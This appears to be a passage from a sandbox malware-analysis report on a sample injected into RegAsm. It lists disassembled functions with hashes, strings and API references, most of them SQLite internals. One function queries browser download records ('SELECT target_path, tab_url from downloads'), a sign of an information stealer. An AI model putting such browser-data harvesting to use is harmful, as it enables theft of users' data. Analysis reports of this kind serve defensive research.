Instruction Fuzzy Hash: 653148766007904AD3249F28C9D0AF3BBF2EF45715B50C45DEAC74B74AE762E941C760

Function 1FEF4F40 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 91COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEF4F71, 1FEF5002
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEF4F62, 1FEF4FF3
database corruption, xrefs: 1FEF4F6C, 1FEF4FFD

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: 540b1302f95ce7a2f09edaf557cd87149c557704ab1d22b6a451bd327c5cb37c
Instruction ID: 8e28015e81a824edd05126851cf25d8df768c6830454b9d69e1077e5dc7eac32
Opcode Fuzzy Hash: 540b1302f95ce7a2f09edaf557cd87149c557704ab1d22b6a451bd327c5cb37c
Instruction Fuzzy Hash: C73106766046416BD3019F29D980BB5BBE0FF55316F088266F558CBB82E325EA60D7B0

Function 1FEC1C60 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 88COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEC1D4B
misuse, xrefs: 1FEC1D46
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEC1D3C
unknown database: %s, xrefs: 1FEC1CBD

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse$unknown database: %s
API String ID: 0-142545749
Opcode ID: e9e6d2f0f1be46fa81c2e0a33c2f66782f5444079f3120e73fe4369f862a2a26
Instruction ID: a86a14b64233cda3c4cf5a83dc89bb21f00c6bbf665cd39f95b13b1520677b6a
Opcode Fuzzy Hash: e9e6d2f0f1be46fa81c2e0a33c2f66782f5444079f3120e73fe4369f862a2a26
Instruction Fuzzy Hash: 552124B65007406BE710AF29DD44F9B7BA9AFC231DF10052CF95996281E779F505C3B2

Function 1FEF3FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 85COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEF408C, 1FEF40B7
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEF407D, 1FEF40A8
database corruption, xrefs: 1FEF4087, 1FEF40B2

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: 30f5d128ac8240a3a335a9ee0a15290ad3cab532ef773bc15781414475cb8c71
Instruction ID: f3b968b6920b6e4bffc2bc9a5301fd9fd95e759e2851549883636f48c9a435c8
Opcode Fuzzy Hash: 30f5d128ac8240a3a335a9ee0a15290ad3cab532ef773bc15781414475cb8c71
Instruction Fuzzy Hash: 8C21F5B7A003115BD700EE58DC81AEB7BD0FB84655F42812AFE48D7345E325E65987E2

Function 1FF69290 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FF692AB, 1FF69339
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FF6929C, 1FF6932A
database corruption, xrefs: 1FF692A6, 1FF69334

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: a190e195e7cb1c0289a199a43c563da521fd1006ee2ed17ee54c243330df5de6
Instruction ID: 6d25ca4cd9902c9e6e2f08199d12374e6d7450173942369f5adb651254606337
Opcode Fuzzy Hash: a190e195e7cb1c0289a199a43c563da521fd1006ee2ed17ee54c243330df5de6
Instruction Fuzzy Hash: 78219826504B905AD3219F2889C0EE3BFF5EF01310B44849DE6DB9B39AF372F9818760

Function 1FFEC6F0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 70COMMON

Download Yara Rule

Strings

an index, xrefs: 1FFEC71D
a generated column, xrefs: 1FFEC722
non-deterministic use of %s() in %s, xrefs: 1FFEC732
a CHECK constraint, xrefs: 1FFEC714, 1FFEC72B

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s
API String ID: 0-3705377941
Opcode ID: 8df561d1ac740f8f0309d5239199f63329bd15cd6626c4ad8dbdf2a6a2741e4c
Instruction ID: 177960a390740c780938e487204d7ad98fe8fb17fe628e1e1a815ce1990fe1f2
Opcode Fuzzy Hash: 8df561d1ac740f8f0309d5239199f63329bd15cd6626c4ad8dbdf2a6a2741e4c
Instruction Fuzzy Hash: A4213571608911ABFB009F28DC48F963764BF05361F010324F804D72A2EF39E4A1E7E5

Function 1FED33C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54COMMON

Download Yara Rule

Strings

CREATE TABLE x(pgno INTEGER PRIMARY KEY, data BLOB, schema HIDDEN), xrefs: 1FED33D6

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: CREATE TABLE x(pgno INTEGER PRIMARY KEY, data BLOB, schema HIDDEN)
API String ID: 0-1935849370
Opcode ID: 8735f0aa0be4c9f0871f8fc3ec1df934b6954d4da89c3f2d9237ddda00748e5b
Instruction ID: 68d03802832442847e3a2f71e938f8d7c2ddfec604453f3995be24640fbaef1b
Opcode Fuzzy Hash: 8735f0aa0be4c9f0871f8fc3ec1df934b6954d4da89c3f2d9237ddda00748e5b
Instruction Fuzzy Hash: A40180397043165FD202DF19E801B8AB3D5EFC5215F05816AF6049B644EBB4B58787A1

Function 1FF93E10 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45COMMON

Download Yara Rule

Strings

SELECT count(*) FROM %Q.'%q%s', xrefs: 1FF93E26
Wrong number of entries in %%%s table - expected %lld, actual %lld, xrefs: 1FF93E6C

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: SELECT count(*) FROM %Q.'%q%s'$Wrong number of entries in %%%s table - expected %lld, actual %lld
API String ID: 0-3026403748
Opcode ID: 6929cba21b66b0fb3ace3458bc799620d481b4aec68b5161b6c84ead35fa6e68
Instruction ID: ee319ad26d0de5280b97b9692c08869fbd247187adf31fbadc9e0a2142c1315a
Opcode Fuzzy Hash: 6929cba21b66b0fb3ace3458bc799620d481b4aec68b5161b6c84ead35fa6e68
Instruction Fuzzy Hash: EEF0F476C043416BEB226A10AC80E7F76E9FFD4614F05092CF18A61210E765F5549677

Function 20065BC1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,DF56A1F9,?,?,00000000,200BD1CB,000000FF,?,20065B30,?,?,20065ADF,?), ref: 20065BF6
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 20065C08
FreeLibrary.KERNEL32(00000000,?,?,00000000,200BD1CB,000000FF,?,20065B30,?,?,20065ADF,?), ref: 20065C2A

Strings

CorExitProcess, xrefs: 20065C00
mscoree.dll, xrefs: 20065BEF

Memory Dump Source

Source File: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: f5916f53fc387d403d347d0b2dcdeefc770498a0eb17dcfba558604e0e57b69a
Instruction ID: 3937d622a07e23c48868c38f86ee976d4875efa6e8646554e90fa3206edb84b7
Opcode Fuzzy Hash: f5916f53fc387d403d347d0b2dcdeefc770498a0eb17dcfba558604e0e57b69a
Instruction Fuzzy Hash: B5016772914A19EFFB118F94CD48FAEB7F9FB04715F000925EA15A22A0DF7D9900DA50

Function 1FFD6A20 Relevance: 8.0, APIs: 5, Instructions: 485COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3621d7e96393e5ebf0b276a1cd3ce6d7ba92eca12d82049d8843935b2953db1a
Instruction ID: 182f40c9ace257cfb8a8606b608a35aa1e3cfdbafe85e752440f9f0e27d6ec73
Opcode Fuzzy Hash: 3621d7e96393e5ebf0b276a1cd3ce6d7ba92eca12d82049d8843935b2953db1a
Instruction Fuzzy Hash: B7029DB19087069FE700DF24D848B5AB7E4BF48304F084A2DF9458B251EBB9F954DBE6

Function 1FF3AF80 Relevance: 7.8, APIs: 5, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea6a2cb7e9c867431758b3b8dca784e22c180301ccfb7df31a3215fcdb4e589f
Instruction ID: cabb3a8241c5eb8fde0d22b741005173f8b7a642b1e950f39ba303148447e0f5
Opcode Fuzzy Hash: ea6a2cb7e9c867431758b3b8dca784e22c180301ccfb7df31a3215fcdb4e589f
Instruction Fuzzy Hash: 94A17F72D05A05DBF7019F25CC5CA9A3768BF0434AB080124EA05D6622EF7DF564FBEA

Function 0040919F Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 192stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

lstrlen.KERNEL32(?), ref: 004093A3
lstrlen.KERNEL32(?), ref: 004093BE

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

Strings

Downloads, xrefs: 00409220
Downloads, xrefs: 004091C9
SELECT target_path, tab_url from downloads, xrefs: 004092B1

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID: Downloads$Downloads$SELECT target_path, tab_url from downloads
API String ID: 2500673778-2241552939
Opcode ID: 93cbce99d8da2d5b0e3aa062754d62e9d03b73a2270b689a3ed6c05dff71f978
Instruction ID: 0078bf241d8ab460c2a3144ec39e3fc3dbd7e487de562284caddc5d3741c1ba6
Opcode Fuzzy Hash: 93cbce99d8da2d5b0e3aa062754d62e9d03b73a2270b689a3ed6c05dff71f978
Instruction Fuzzy Hash: 1C71FC31E00119ABCF00FBA6DE469DD7770EF04308F610436F904B71E2CBB96E968A99

Function 1FFD73C0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 296COMMON

Download Yara Rule

Strings

fts5: syntax error near "%.*s", xrefs: 1FFD751C

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: fts5: syntax error near "%.*s"
API String ID: 0-498961494
Opcode ID: 6bcffb1dff42d40190d6c115bf1b545cd1b679b7db50c3f14ff457922dcec83c
Instruction ID: 6c690f4104f09f8e88413969cf669a6c114c24a4468022f1da2c4fb18f11b3ea
Opcode Fuzzy Hash: 6bcffb1dff42d40190d6c115bf1b545cd1b679b7db50c3f14ff457922dcec83c
Instruction Fuzzy Hash: EAB1EF72908781CFE711CF24C884B5ABBE8BF45308F08492DF8858B251EBB5F545DBA6

Function 1FEF0F60 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 264COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEF1287
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEF126C, 1FEF1278
database corruption, xrefs: 1FEF1282

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: 227578a44442ee3c3e0b685f5c7ba348e901bf743d5b7c3444bba4e7d338f78b
Instruction ID: 83b1661a7f3d7eccd0cfc4760ea6caa676c2bb1b77e403200bf63222b867b97e
Opcode Fuzzy Hash: 227578a44442ee3c3e0b685f5c7ba348e901bf743d5b7c3444bba4e7d338f78b
Instruction Fuzzy Hash: B8A1D0759087498FF704CF64C888A677BE5BF45708F04052DE94ACB222EB39F954EB92

Function 1FED82E0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

[%d], xrefs: 1FED84C7

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
